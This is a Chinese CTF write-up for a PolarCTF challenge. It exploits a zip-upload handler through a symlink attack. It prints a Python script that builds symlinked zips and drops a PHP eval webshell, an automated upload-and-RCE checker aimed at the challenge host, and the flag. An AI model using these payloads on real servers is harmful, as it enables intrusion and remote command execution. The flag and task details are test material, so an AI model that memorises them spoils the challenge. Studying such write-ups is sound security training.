扫目录发现login.php


注册一个账号并登录,发现增加了一个目录,继续扫这个目录


githack恢复一下


<?php
if (isset($_FILES['file'])) {
$f = $_FILES['file'];
if ($f['error'] === UPLOAD_ERR_OK) { # 检测文件上传是否成功,UPLOAD_ERR_OK 表示无错误
$dest = '/etc/' . time() . '_' . basename($f['name']); # 文件名称 = 时间戳 + 原文件名,避免重名
if (move_uploaded_file($f['tmp_name'], $dest)) { # 将上传的临时文件移动到目标路径 $dest,成功则继续执行;$f['tmp_name'] 就是 PHP 上传文件时,系统自动生成的【临时文件路径】,脚本执行完成之后会自动删除
$escapedDest = escapeshellarg($dest); # 对文件路径进行 shell 转义,防止命令注入漏洞
# unzip -o:强制解压,自动覆盖同名文件,不询问
# -d /etc/:指定解压到 /etc/ 目录
# 2>&1:将标准错误输出重定向到标准输出,方便查看执行结果
exec("unzip -o $escapedDest -d /etc/ 2>&1");
if ($code !== 0) {
# 原文没有定义,应该是如果解压失败则再次尝试解压
exec("unzip -o $escapedDest -d /etc/ 2>&1");
}
# 删除上传的 ZIP 压缩包,清理痕迹
unlink($dest);
echo "ghz";
}
}
}
?>
这段代码的漏洞点在于
exec("unzip -o $escapedDest -d /etc/ 2>&1");
这个漏洞叫做zip符号链接攻击


那么这个恶意的zip制作方式如下
方法1:
# 1. 创建符号链接,指向目标文件,第一个参数就是你要指向的那个文件,第二个参数就是你符号链接的名称
ln -s /etc/passwd symlink_to_passwd
# 2. 将符号链接打包进zip(保留符号链接属性)
zip --symlinks malicious.zip symlink_to_passwd
方法2:
# 或者创建一个包含要写入内容的文件
echo "malicious content" > payload.txt
ln -s /target/file.txt symlink
zip --symlinks malicious.zip symlink payload.txt
那么我们的攻击思路就很明显了:
步骤1:
首先创建一个zip压缩包,包含一个名为 link 的软链接,指向 Web 根目录(/var/www/html)。解压后,会在服务器上创建/etc/link -> /var/www/html
步骤2:
再创建一个zip压缩包,包含一个名为link/shell.php的文件。解压到/etc/时, unzip 会尝试写入/etc/link/shell.php。但是由于由于/etc/link是向/var/www/html的软链接,文件最终会被写入到/var/www/html/shell.php
攻击流程如下:
┌─────────────────────────────────────────────────────────────┐
│ 第一步:上传 link.zip │
│ ┌──────────────┐ │
│ │ link.zip │ 包含:link -> /var/www/html (符号链接) │
│ └──────────────┘ │
│ ↓ 解压后 │
│ 当前目录出现:link (符号链接) → /var/www/html │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 第二步:上传 shell.zip │
│ ┌──────────────┐ │
│ │ shell.zip │ 包含:link/shell.php (WebShell 内容) │
│ └──────────────┘ │
│ ↓ 解压时 │
│ unzip 跟随 link 符号链接,实际写入 /var/www/html/shell.php │
│ ↓ │
│ 攻击者获得 WebShell,可执行任意命令! │
└─────────────────────────────────────────────────────────────┘
为什么要分两个ZIP进行攻击?
1、符号链接必须先存在,才能被跟随
2、如果放在同一个 ZIP 中,解压顺序不确定,可能符号链接还没创建就尝试写入
3、分两次上传解压,确保攻击顺序可控
攻击的exp.py如下
import zipfile
import os
def create_symlink_zip(zip_name, link_name, target_path):
"""
Creates a zip file containing a symbolic link.
"""
# Create the zip file
with zipfile.ZipFile(zip_name, 'w') as zf:
# Create a ZipInfo object for the symlink
zi = zipfile.ZipInfo(link_name)
# Set create_system to 3 (Unix) to ensure external_attr is interpreted correctly
zi.create_system = 3
# Set external attributes to represent a symlink (Unix attribute 0xA000)
# The attribute format is (mode << 16) | 0
zi.external_attr = 0xA1ED0000 # 0xA000 for symlink, 0x1ED for 0755 permissions
zf.writestr(zi, target_path)
def create_payload_zip(zip_name, link_name, filename, content):
"""
Creates a zip file containing a file inside a directory named like the symlink.
"""
with zipfile.ZipFile(zip_name, 'w') as zf:
zf.writestr(os.path.join(link_name, filename), content)
if __name__ == "__main__":
# ZIP 1: Symlink to the web root
# Note: We use 'link' as the symlink name.
# In the second ZIP, we'll use 'link/shell.php'
create_symlink_zip("link.zip", "link", "/var/www/html")
# ZIP 2: Payload file inside the symlink directory
create_payload_zip("shell.zip", "link", "shell.php", "<?php eval($_POST['cmd']); ?>")
print("Generated link.zip and shell.zip")

由于没有上传文件的前端,再写一个脚本实现自动化上传和验证
import requests
import os
import time
# 题目地址
TARGET_URL = "http://3d822fe3-7075-4504-8714-4f8dbd92825c.www.polarctf.com:8090/ghzpolar/gouheizi.php"
BASE_URL = "http://3d822fe3-7075-4504-8714-4f8dbd92825c.www.polarctf.com:8090/"
def upload(filename):
print(f"[*] Uploading {filename}...")
with open(filename, 'rb') as f:
files = {'file': (filename, f, 'application/zip')}
r = requests.post(TARGET_URL, files=files)
print(f"[+] Response: {r.text.strip()}")
return r.text
def check_shell():
# 尝试两个可能的 shell 路径
paths = ["shell.php", "ghzpolar/shell.php"]
for path in paths:
url = BASE_URL + path
print(f"[*] Checking shell at {url}...")
try:
r = requests.get(url, timeout=5)
if r.status_code == 200:
print(f"[!!!] Shell found at {url}")
# 简单测试一下 RCE
r_post = requests.post(url, data={'cmd': 'echo "pwned";'})
if "pwned" in r_post.text:
print("[!!!] RCE verified!")
return True
except Exception as e:
print(f"[-] Error checking {url}: {e}")
return False
if __name__ == "__main__":
# 1. 运行 gen_zip.py 生成压缩包
print("[*] Generating ZIP files...")
os.system("python gen_zip.py")
# 2. 上传 link.zip
upload("link.zip")
# 3. 上传 shell.zip
upload("shell.zip")
# 4. 验证
check_shell()

访问后门即可getshell

得到flag{aa1e3ea993e122de5de6e387db6c860}